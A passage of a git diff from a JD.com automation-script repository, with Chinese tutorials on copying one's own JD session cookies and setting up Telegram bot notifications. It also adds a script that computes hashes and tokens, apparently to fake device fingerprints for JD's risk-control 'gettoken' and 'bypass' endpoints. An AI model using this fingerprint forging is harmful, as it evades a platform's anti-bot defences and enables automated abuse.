if(this.isQuanX())t.method="POST",$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t));else if(this.isNode()){this.initGotEnv(t);const{url:e,...i}=t;this.got.post(e,i).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t))}}time(t){let s={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in s)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?s[e]:("00"+s[e]).substr((""+s[e]).length)));return t}msg(s=t,e="",i="",o){const h=t=>!t||!this.isLoon()&&this.isSurge()?t:"string"==typeof t?this.isLoon()?t:this.isQuanX()?{"open-url":t}:void 0:"object"==typeof t&&(t["open-url"]||t["media-url"])?this.isLoon()?t["open-url"]:this.isQuanX()?t:void 0:void 0;this.isSurge()||this.isLoon()?$notification.post(s,e,i,h(o)):this.isQuanX()&&$notify(s,e,i,h(o)),this.logs.push("","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="),this.logs.push(s),e&&this.logs.push(e),i&&this.logs.push(i)}log(...t){t.length>0?this.logs=[...this.logs,...t]:console.log(this.logs.join(this.logSeparator))}logErr(t,s){const e=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();e?$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(s=>setTimeout(s,t))}done(t={}){const s=(new Date).getTime(),e=(s-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,s)} \ No newline at end of file diff --git a/backUp/GetJdCookie.md b/backUp/GetJdCookie.md new file mode 100644 index 0000000..0dc377a --- /dev/null +++ b/backUp/GetJdCookie.md @@ -0,0 +1,32 @@ +## 浏览器获取京东cookie教程 + + **以下浏览器都行** + + - Chrome浏览器 + - 新版Edge浏览器 + - 国产360,QQ浏览器切换到极速模式 + +### 操作步骤 + +1. 电脑浏览器打开京东网址 [https://m.jd.com/](https://m.jd.com/) +2. 按键盘F12键打开开发者工具,然后点下图中的图标 + ![切换到手机模式](../icon/jd1.jpg) +3. 此时是未登录状态(使用手机短信验证码登录),如已登录请忽略此步骤 + - 使用手机短信验证码登录(此方式cookie有效时长大概31天,其他登录方式比较短) +4. 登录后,选择Network,有很多链接的话点箭头这里清空下 + ![清空](../icon/jd2.jpg) +5. 然后再点我的,链接就变少了 + ![再次点击我的](../icon/jd3.jpg) +6. 点第一个链接(log.gif)进去,找到cookie,复制出来,新建一个TXT文本临时保存一下,下面需要用到 + ![寻找log.gi](../icon/jd4.jpg) +7. 第六步复制出来的cookie比较长,我们只需要`pt_pin=xxxx;`和 `pt_key=xxxx;`部分的内容即可(注:英文引号`;`是必要的)。可以用下面的脚本,在Chrome浏览器按F12,console里面输入下面脚本按enter回车键 + ``` + var CV = '单引号里面放第六步拿到的cookie'; + var CookieValue = CV.match(/pt_pin=.+?;/) + CV.match(/pt_key=.+?;/); + copy(CookieValue); + ``` +8. 这样子整理出关键的的cookie已经在你的剪贴板上, 可直接粘贴 + +9. 如果需获取第二个京东账号的cookie,不要在刚才的浏览器上面退出登录账号一(否则刚才获取的cookie会失效),需另外换一个浏览器(Chrome浏览器 `ctr+shift+n` 打开无痕模式也行),然后继续按上面步骤操作即可 + + diff --git a/backUp/GetJdCookie2.md b/backUp/GetJdCookie2.md new file mode 100644 index 0000000..eadf9a5 --- /dev/null +++ b/backUp/GetJdCookie2.md @@ -0,0 +1,34 @@ +## 浏览器插件获取京东cookie教程 + > 此教程内容由tg用户@wukongdada提供,特此感谢 + + **以下浏览器都行** + + - Chrome浏览器 + - 新版Edge浏览器(chrome内核) + +### 操作步骤 + +1. 电脑浏览器打开京东网址 [https://m.jd.com/](https://m.jd.com/) +2. Chrome类浏览器安装EditThisCookie插件 + - Chrome插件商店搜EditThisCookie, 或者[打开此网站](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?utm_source=chrome-ntp-icon) 进行安装 + - 仅使用百分浏览器,谷歌浏览器测试过,其他谷歌类浏览器请自行测试。 + - 无法登录Chrome插件商店或者打不开网址建议使用edge chrome版。 +3. edge chrome浏览器安装Cookie Editor插件 + - [edge插件商店](edge://extensions/)搜Cookie Editor,或[打开以下网址](https://microsoftedge.microsoft.com/addons/detail/cookie-editor/ajfboaconbpkglpfanbmlfgojgndmhmc?hl=zh-CN) 完成插件安装 +4. 以下是chrome和edge的相关设置截图,输入的网址是 ``jd.com`` + + ![Chrome浏览器相关设置](../icon/jd5.png) + + ![Edge浏览器相关设置](../icon/jd6.png) + +5. 现在点击回到京东触屏版,再点击EditThisCookie/Cookie Editor,再点击搜索,输入key或pin,如下图所示的pt_key,复制pt_key的value值。此插件可以看到cookie的有效期。 + + ![插件显示](../icon/jd7.png) + +6. 按照以下格式形成自己的jd_cookie + - `pt_key=复制插件搜索出来的key值;pt_pin=复制插件搜索出来的pin值;` ,后面的英文引号`;`是必须要的 + - 给一个京东cookie具体示例 `pt_key=jdDC2F833333EFDGTCE5BD4AD1A952D4F4DF84A46052;pt_pin=jd_123456;` + +7. 如果需获取第二个京东账号的cookie,不要在刚才的浏览器上面退出登录账号一(否则刚才获取的cookie会失效),需另外换一个浏览器(Chrome浏览器 `ctr+shift+n` 打开无痕模式也行),然后继续按上面步骤操作即可 + + diff --git a/backUp/TG_PUSH.md b/backUp/TG_PUSH.md new file mode 100644 index 0000000..6db47d5 --- /dev/null +++ b/backUp/TG_PUSH.md @@ -0,0 +1,19 @@ +**TG_PUSH教程** + +利用Telegram机器人推送通知,需要在环境变量填入正确的```TG_BOT_TOKEN```以及```TG_USER_ID```,以下教程简明阐述如何获取token以及UserID + +Ⅰ.首先在Telegram上搜索[BotFather](https://t.me/BotFather)机器人
+ +![TG_PUSH1](../icon/TG_PUSH1.png) + +Ⅱ.利用[BotFather](https://t.me/BotFather)创建一个属于自己的通知机器人,按照下图中的1、2、3步骤拿到token,格式形如```10xxx4:AAFcqxxxxgER5uw```。填入```TG_BOT_TOKEN```
+ +![TG_PUSH2](../icon/TG_PUSH2.png)
+ +**新创建的机器人需要跟它发一条消息来开启对话,否则可能会遇到secret填对了但是收不到消息的情况**
+ +Ⅲ.再次在Telegram上搜索[getuserIDbot](https://t.me/getuserIDbot)机器人,获取UserID。填入```TG_USER_ID```
+ +![TG_PUSH3](../icon/TG_PUSH3.png) + +至此,获取**TG_BOT_TOKEN**以及**TG_USER_ID**的教程结束 diff --git a/backUp/ZooFaker_Necklace.js b/backUp/ZooFaker_Necklace.js new file mode 100644 index 0000000..9c0421a --- /dev/null +++ b/backUp/ZooFaker_Necklace.js @@ -0,0 +1,928 @@ +function safeAdd(x, y) { + var lsw = (x & 0xffff) + (y & 0xffff) + var msw = (x >> 16) + (y >> 16) + (lsw >> 16) + return (msw << 16) | (lsw & 0xffff) +} + +/* + * Bitwise rotate a 32-bit number to the left. + */ +function bitRotateLeft(num, cnt) { + return (num << cnt) | (num >>> (32 - cnt)) +} + +function md5(string, key, raw) { + if (!key) { + if (!raw) { + return hexMD5(string) + } + return rawMD5(string) + } + if (!raw) { + return hexHMACMD5(key, string) + } + return rawHMACMD5(key, string) +} + +/* + * Convert a raw string to a hex string + */ +function rstr2hex(input) { + var hexTab = '0123456789abcdef' + var output = '' + var x + var i + for (i = 0; i < input.length; i += 1) { + x = input.charCodeAt(i) + output += hexTab.charAt((x >>> 4) & 0x0f) + hexTab.charAt(x & 0x0f) + } + return output +} +/* + * Encode a string as utf-8 + */ +function str2rstrUTF8(input) { + return unescape(encodeURIComponent(input)) +} +/* + * Calculate the MD5 of a raw string + */ +function rstrMD5(s) { + return binl2rstr(binlMD5(rstr2binl(s), s.length * 8)) +} + +function hexMD5(s) { + return rstr2hex(rawMD5(s)) +} +function rawMD5(s) { + return rstrMD5(str2rstrUTF8(s)) +} + +/* + * These functions implement the four basic operations the algorithm uses. + */ +function md5cmn(q, a, b, x, s, t) { + return safeAdd(bitRotateLeft(safeAdd(safeAdd(a, q), safeAdd(x, t)), s), b) +} + +function md5ff(a, b, c, d, x, s, t) { + return md5cmn((b & c) | (~b & d), a, b, x, s, t) +} + +function md5gg(a, b, c, d, x, s, t) { + return md5cmn((b & d) | (c & ~d), a, b, x, s, t) +} + +function md5hh(a, b, c, d, x, s, t) { + return md5cmn(b ^ c ^ d, a, b, x, s, t) +} + +function md5ii(a, b, c, d, x, s, t) { + return md5cmn(c ^ (b | ~d), a, b, x, s, t) +} + +/* + * Calculate the MD5 of an array of little-endian words, and a bit length. + */ +function binlMD5(x, len) { + /* append padding */ + x[len >> 5] |= 0x80 << (len % 32) + x[((len + 64) >>> 9 << 4) + 14] = len + + var i + var olda + var oldb + var oldc + var oldd + var a = 1732584193 + var b = -271733879 + var c = -1732584194 + var d = 271733878 + + for (i = 0; i < x.length; i += 16) { + olda = a + oldb = b + oldc = c + oldd = d + + a = md5ff(a, b, c, d, x[i], 7, -680876936) + d = md5ff(d, a, b, c, x[i + 1], 12, -389564586) + c = md5ff(c, d, a, b, x[i + 2], 17, 606105819) + b = md5ff(b, c, d, a, x[i + 3], 22, -1044525330) + a = md5ff(a, b, c, d, x[i + 4], 7, -176418897) + d = md5ff(d, a, b, c, x[i + 5], 12, 1200080426) + c = md5ff(c, d, a, b, x[i + 6], 17, -1473231341) + b = md5ff(b, c, d, a, x[i + 7], 22, -45705983) + a = md5ff(a, b, c, d, x[i + 8], 7, 1770035416) + d = md5ff(d, a, b, c, x[i + 9], 12, -1958414417) + c = md5ff(c, d, a, b, x[i + 10], 17, -42063) + b = md5ff(b, c, d, a, x[i + 11], 22, -1990404162) + a = md5ff(a, b, c, d, x[i + 12], 7, 1804603682) + d = md5ff(d, a, b, c, x[i + 13], 12, -40341101) + c = md5ff(c, d, a, b, x[i + 14], 17, -1502002290) + b = md5ff(b, c, d, a, x[i + 15], 22, 1236535329) + + a = md5gg(a, b, c, d, x[i + 1], 5, -165796510) + d = md5gg(d, a, b, c, x[i + 6], 9, -1069501632) + c = md5gg(c, d, a, b, x[i + 11], 14, 643717713) + b = md5gg(b, c, d, a, x[i], 20, -373897302) + a = md5gg(a, b, c, d, x[i + 5], 5, -701558691) + d = md5gg(d, a, b, c, x[i + 10], 9, 38016083) + c = md5gg(c, d, a, b, x[i + 15], 14, -660478335) + b = md5gg(b, c, d, a, x[i + 4], 20, -405537848) + a = md5gg(a, b, c, d, x[i + 9], 5, 568446438) + d = md5gg(d, a, b, c, x[i + 14], 9, -1019803690) + c = md5gg(c, d, a, b, x[i + 3], 14, -187363961) + b = md5gg(b, c, d, a, x[i + 8], 20, 1163531501) + a = md5gg(a, b, c, d, x[i + 13], 5, -1444681467) + d = md5gg(d, a, b, c, x[i + 2], 9, -51403784) + c = md5gg(c, d, a, b, x[i + 7], 14, 1735328473) + b = md5gg(b, c, d, a, x[i + 12], 20, -1926607734) + + a = md5hh(a, b, c, d, x[i + 5], 4, -378558) + d = md5hh(d, a, b, c, x[i + 8], 11, -2022574463) + c = md5hh(c, d, a, b, x[i + 11], 16, 1839030562) + b = md5hh(b, c, d, a, x[i + 14], 23, -35309556) + a = md5hh(a, b, c, d, x[i + 1], 4, -1530992060) + d = md5hh(d, a, b, c, x[i + 4], 11, 1272893353) + c = md5hh(c, d, a, b, x[i + 7], 16, -155497632) + b = md5hh(b, c, d, a, x[i + 10], 23, -1094730640) + a = md5hh(a, b, c, d, x[i + 13], 4, 681279174) + d = md5hh(d, a, b, c, x[i], 11, -358537222) + c = md5hh(c, d, a, b, x[i + 3], 16, -722521979) + b = md5hh(b, c, d, a, x[i + 6], 23, 76029189) + a = md5hh(a, b, c, d, x[i + 9], 4, -640364487) + d = md5hh(d, a, b, c, x[i + 12], 11, -421815835) + c = md5hh(c, d, a, b, x[i + 15], 16, 530742520) + b = md5hh(b, c, d, a, x[i + 2], 23, -995338651) + + a = md5ii(a, b, c, d, x[i], 6, -198630844) + d = md5ii(d, a, b, c, x[i + 7], 10, 1126891415) + c = md5ii(c, d, a, b, x[i + 14], 15, -1416354905) + b = md5ii(b, c, d, a, x[i + 5], 21, -57434055) + a = md5ii(a, b, c, d, x[i + 12], 6, 1700485571) + d = md5ii(d, a, b, c, x[i + 3], 10, -1894986606) + c = md5ii(c, d, a, b, x[i + 10], 15, -1051523) + b = md5ii(b, c, d, a, x[i + 1], 21, -2054922799) + a = md5ii(a, b, c, d, x[i + 8], 6, 1873313359) + d = md5ii(d, a, b, c, x[i + 15], 10, -30611744) + c = md5ii(c, d, a, b, x[i + 6], 15, -1560198380) + b = md5ii(b, c, d, a, x[i + 13], 21, 1309151649) + a = md5ii(a, b, c, d, x[i + 4], 6, -145523070) + d = md5ii(d, a, b, c, x[i + 11], 10, -1120210379) + c = md5ii(c, d, a, b, x[i + 2], 15, 718787259) + b = md5ii(b, c, d, a, x[i + 9], 21, -343485551) + + a = safeAdd(a, olda) + b = safeAdd(b, oldb) + c = safeAdd(c, oldc) + d = safeAdd(d, oldd) + } + return [a, b, c, d] +} +/* + * Convert an array of little-endian words to a string + */ +function binl2rstr(input) { + var i + var output = '' + var length32 = input.length * 32 + for (i = 0; i < length32; i += 8) { + output += String.fromCharCode((input[i >> 5] >>> (i % 32)) & 0xff) + } + return output +} + + +/* + * Convert a raw string to an array of little-endian words + * Characters >255 have their high-byte silently ignored. + */ +function rstr2binl(input) { + var i + var output = [] + output[(input.length >> 2) - 1] = undefined + for (i = 0; i < output.length; i += 1) { + output[i] = 0 + } + var length8 = input.length * 8 + for (i = 0; i < length8; i += 8) { + output[i >> 5] |= (input.charCodeAt(i / 8) & 0xff) << (i % 32) + } + return output +} + + +function encrypt_3(e) { + return function (e) { + if (Array.isArray(e)) return encrypt_3_3(e) + }(e) || function (e) { + if ("undefined" != typeof Symbol && Symbol.iterator in Object(e)) return Array.from(e) + }(e) || function (e, t) { + if (e) { + if ("string" == typeof e) return encrypt_3_3(e, t); + var n = Object.prototype.toString.call(e).slice(8, -1); + return "Object" === n && e.constructor && (n = e.constructor.name), "Map" === n || "Set" === n ? Array.from(e) : "Arguments" === n || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n) ? encrypt_3_3(e, t) : void 0 + } + }(e) || function () { + throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.") + }() +} + +function encrypt_3_3(e, t) { + (null == t || t > e.length) && (t = e.length); + for (var n = 0, r = new Array(t); n < t; n++) r[n] = e[n]; + return r +} + +function rotateRight(n, x) { + return ((x >>> n) | (x << (32 - n))); +} + +function choice(x, y, z) { + return ((x & y) ^ (~x & z)); +} + +function majority(x, y, z) { + return ((x & y) ^ (x & z) ^ (y & z)); +} + +function sha256_Sigma0(x) { + return (rotateRight(2, x) ^ rotateRight(13, x) ^ rotateRight(22, x)); +} + +function sha256_Sigma1(x) { + return (rotateRight(6, x) ^ rotateRight(11, x) ^ rotateRight(25, x)); +} + +function sha256_sigma0(x) { + return (rotateRight(7, x) ^ rotateRight(18, x) ^ (x >>> 3)); +} + +function sha256_sigma1(x) { + return (rotateRight(17, x) ^ rotateRight(19, x) ^ (x >>> 10)); +} + +function sha256_expand(W, j) { + return (W[j & 0x0f] += sha256_sigma1(W[(j + 14) & 0x0f]) + W[(j + 9) & 0x0f] + + sha256_sigma0(W[(j + 1) & 0x0f])); +} + +/* Hash constant words K: */ +var K256 = new Array( + 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, + 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, + 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, + 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, + 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, + 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, + 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, + 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, + 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, + 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, + 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, + 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, + 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, + 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, + 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, + 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 +); + +/* global arrays */ +var ihash, count, buffer; +var sha256_hex_digits = "0123456789abcdef"; + +/* Add 32-bit integers with 16-bit operations (bug in some JS-interpreters: +overflow) */ +function safe_add(x, y) { + var lsw = (x & 0xffff) + (y & 0xffff); + var msw = (x >> 16) + (y >> 16) + (lsw >> 16); + return (msw << 16) | (lsw & 0xffff); +} + +/* Initialise the SHA256 computation */ +function sha256_init() { + ihash = new Array(8); + count = new Array(2); + buffer = new Array(64); + count[0] = count[1] = 0; + ihash[0] = 0x6a09e667; + ihash[1] = 0xbb67ae85; + ihash[2] = 0x3c6ef372; + ihash[3] = 0xa54ff53a; + ihash[4] = 0x510e527f; + ihash[5] = 0x9b05688c; + ihash[6] = 0x1f83d9ab; + ihash[7] = 0x5be0cd19; +} + +/* Transform a 512-bit message block */ +function sha256_transform() { + var a, b, c, d, e, f, g, h, T1, T2; + var W = new Array(16); + + /* Initialize registers with the previous intermediate value */ + a = ihash[0]; + b = ihash[1]; + c = ihash[2]; + d = ihash[3]; + e = ihash[4]; + f = ihash[5]; + g = ihash[6]; + h = ihash[7]; + + /* make 32-bit words */ + for (var i = 0; i < 16; i++) + W[i] = ((buffer[(i << 2) + 3]) | (buffer[(i << 2) + 2] << 8) | (buffer[(i << 2) + 1] << + 16) | (buffer[i << 2] << 24)); + + for (var j = 0; j < 64; j++) { + T1 = h + sha256_Sigma1(e) + choice(e, f, g) + K256[j]; + if (j < 16) T1 += W[j]; + else T1 += sha256_expand(W, j); + T2 = sha256_Sigma0(a) + majority(a, b, c); + h = g; + g = f; + f = e; + e = safe_add(d, T1); + d = c; + c = b; + b = a; + a = safe_add(T1, T2); + } + + /* Compute the current intermediate hash value */ + ihash[0] += a; + ihash[1] += b; + ihash[2] += c; + ihash[3] += d; + ihash[4] += e; + ihash[5] += f; + ihash[6] += g; + ihash[7] += h; +} + +/* Read the next chunk of data and update the SHA256 computation */ +function sha256_update(data, inputLen) { + var i, index, curpos = 0; + /* Compute number of bytes mod 64 */ + index = ((count[0] >> 3) & 0x3f); + var remainder = (inputLen & 0x3f); + + /* Update number of bits */ + if ((count[0] += (inputLen << 3)) < (inputLen << 3)) count[1]++; + count[1] += (inputLen >> 29); + + /* Transform as many times as possible */ + for (i = 0; i + 63 < inputLen; i += 64) { + for (var j = index; j < 64; j++) + buffer[j] = data.charCodeAt(curpos++); + sha256_transform(); + index = 0; + } + + /* Buffer remaining input */ + for (var j = 0; j < remainder; j++) + buffer[j] = data.charCodeAt(curpos++); +} + +/* Finish the computation by operations such as padding */ +function sha256_final() { + var index = ((count[0] >> 3) & 0x3f); + buffer[index++] = 0x80; + if (index <= 56) { + for (var i = index; i < 56; i++) + buffer[i] = 0; + } else { + for (var i = index; i < 64; i++) + buffer[i] = 0; + sha256_transform(); + for (var i = 0; i < 56; i++) + buffer[i] = 0; + } + buffer[56] = (count[1] >>> 24) & 0xff; + buffer[57] = (count[1] >>> 16) & 0xff; + buffer[58] = (count[1] >>> 8) & 0xff; + buffer[59] = count[1] & 0xff; + buffer[60] = (count[0] >>> 24) & 0xff; + buffer[61] = (count[0] >>> 16) & 0xff; + buffer[62] = (count[0] >>> 8) & 0xff; + buffer[63] = count[0] & 0xff; + sha256_transform(); +} + +/* Split the internal hash values into an array of bytes */ +function sha256_encode_bytes() { + var j = 0; + var output = new Array(32); + for (var i = 0; i < 8; i++) { + output[j++] = ((ihash[i] >>> 24) & 0xff); + output[j++] = ((ihash[i] >>> 16) & 0xff); + output[j++] = ((ihash[i] >>> 8) & 0xff); + output[j++] = (ihash[i] & 0xff); + } + return output; +} + +/* Get the internal hash as a hex string */ +function sha256_encode_hex() { + var output = new String(); + for (var i = 0; i < 8; i++) { + for (var j = 28; j >= 0; j -= 4) + output += sha256_hex_digits.charAt((ihash[i] >>> j) & 0x0f); + } + return output; +} +let utils = { + getDefaultVal: function (e) { + try { + return { + undefined: "u", + false: "f", + true: "t" + } [e] || e + } catch (t) { + return e + } + }, + requestUrl: { + gettoken: "".concat("https://", "bh.m.jd.com/gettoken"), + bypass: "".concat("https://blackhole", ".m.jd.com/bypass") + }, + getTouchSession: function () { + var e = (new Date).getTime(), + t = this.getRandomInt(1e3, 9999); + return String(e) + String(t) + }, + sha256: function (data) { + sha256_init(); + sha256_update(data, data.length); + sha256_final(); + return sha256_encode_hex().toUpperCase(); + }, + atobPolyfill: function (e) { + return function (e) { + var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; + if (e = String(e).replace(/[\t\n\f\r ]+/g, ""), !/^(?:[A-Za-z\d+\/]{4})*?(?:[A-Za-z\d+\/]{2}(?:==)?|[A-Za-z\d+\/]{3}=?)?$/.test(e)) throw new TypeError("解密错误"); + e += "==".slice(2 - (3 & e.length)); + for (var n, r, i, o = "", a = 0; a < e.length;) n = t.indexOf(e.charAt(a++)) << 18 | t.indexOf(e.charAt(a++)) << 12 | (r = t.indexOf(e.charAt(a++))) << 6 | (i = t.indexOf(e.charAt(a++))), o += 64 === r ? String.fromCharCode(n >> 16 & 255) : 64 === i ? String.fromCharCode(n >> 16 & 255, n >> 8 & 255) : String.fromCharCode(n >> 16 & 255, n >> 8 & 255, 255 & n); + return o + }(e) + }, + btoaPolyfill: function (e) { + var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; + return function (e) { + for (var n, r, i, o, a = "", s = 0, u = (e = String(e)).length % 3; s < e.length;) { + if ((r = e.charCodeAt(s++)) > 255 || (i = e.charCodeAt(s++)) > 255 || (o = e.charCodeAt(s++)) > 255) throw new TypeError("Failed to execute 'btoa' on 'Window': The string to be encoded contains characters outside of the Latin1 range."); + a += t.charAt((n = r << 16 | i << 8 | o) >> 18 & 63) + t.charAt(n >> 12 & 63) + t.charAt(n >> 6 & 63) + t.charAt(63 & n) + } + return u ? a.slice(0, u - 3) + "===".substring(u) : a + }(unescape(encodeURIComponent(e))) + }, + xorEncrypt: function (e, t) { + for (var n = t.length, r = "", i = 0; i < e.length; i++) r += String.fromCharCode(e[i].charCodeAt() ^ t[i % n].charCodeAt()); + return r + }, + encrypt1: function (e, t) { + for (var n = e.length, r = t.toString(), i = [], o = "", a = 0, s = 0; s < r.length; s++) a >= n && (a %= n), o = (r.charCodeAt(s) ^ e.charCodeAt(a)) % 10, i.push(o), a += 1; + return i.join().replace(/,/g, "") + }, + len_Fun: function (e, t) { + return "".concat(e.substring(t, e.length)) + "".concat(e.substring(0, t)) + }, + encrypt2: function (e, t) { + var n = t.toString(), + r = t.toString().length, + i = parseInt((r + e.length) / 3), + o = "", + a = ""; + return r > e.length ? (o = this.len_Fun(n, i), a = this.encrypt1(e, o)) : (o = this.len_Fun(e, i), a = this.encrypt1(n, o)), a + }, + addZeroFront: function (e) { + return e && e.length >= 5 ? e : ("00000" + String(e)).substr(-5) + }, + addZeroBack: function (e) { + return e && e.length >= 5 ? e : (String(e) + "00000").substr(0, 5) + }, + encrypt3: function (e, t) { + var n = this.addZeroBack(t).toString().substring(0, 5), + r = this.addZeroFront(e).substring(e.length - 5), + i = n.length, + o = encrypt_3(Array(i).keys()), + a = []; + return o.forEach(function (e) { + a.push(Math.abs(n.charCodeAt(e) - r.charCodeAt(e))) + }), a.join().replace(/,/g, "") + }, + getCurrentDate: function () { + return new Date + }, + getCurrentTime: function () { + return this.getCurrentDate().getTime() + }, + getRandomInt: function () { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 0, + t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 9; + return e = Math.ceil(e), t = Math.floor(t), Math.floor(Math.random() * (t - e + 1)) + e + }, + getRandomWord: function (e) { + for (var t = "", n = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", r = 0; r < e; r++) { + var i = Math.round(Math.random() * (n.length - 1)); + t += n.substring(i, i + 1) + } + return t + }, + getNumberInString: function (e) { + return Number(e.replace(/[^0-9]/gi, "")) + }, + getSpecialPosition: function (e) { + for (var t = !(arguments.length > 1 && void 0 !== arguments[1]) || arguments[1], n = ((e = String(e)).length, t ? 1 : 0), r = "", i = 0; i < e.length; i++) i % 2 === n && (r += e[i]); + return r + }, + getLastAscii: function (e) { + var t = e.charCodeAt(0).toString(); + return t[t.length - 1] + }, + toAscii: function (e) { + var t = ""; + for (var n in e) { + var r = e[n], + i = /[a-zA-Z]/.test(r); + e.hasOwnProperty(n) && (t += i ? this.getLastAscii(r) : r) + } + return t + }, + add0: function (e, t) { + return (Array(t).join("0") + e).slice(-t) + }, + minusByByte: function (e, t) { + var n = e.length, + r = t.length, + i = Math.max(n, r), + o = this.toAscii(e), + a = this.toAscii(t), + s = "", + u = 0; + for (n !== r && (o = this.add0(o, i), a = this.add0(a, i)); u < i;) s += Math.abs(o[u] - a[u]), u++; + return s + }, + Crc32: function (str) { + var table = "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D"; + crc = 0 ^ (-1); + var n = 0; //a number between 0 and 255 + var x = 0; //an hex number + + for (var i = 0, iTop = str.length; i < iTop; 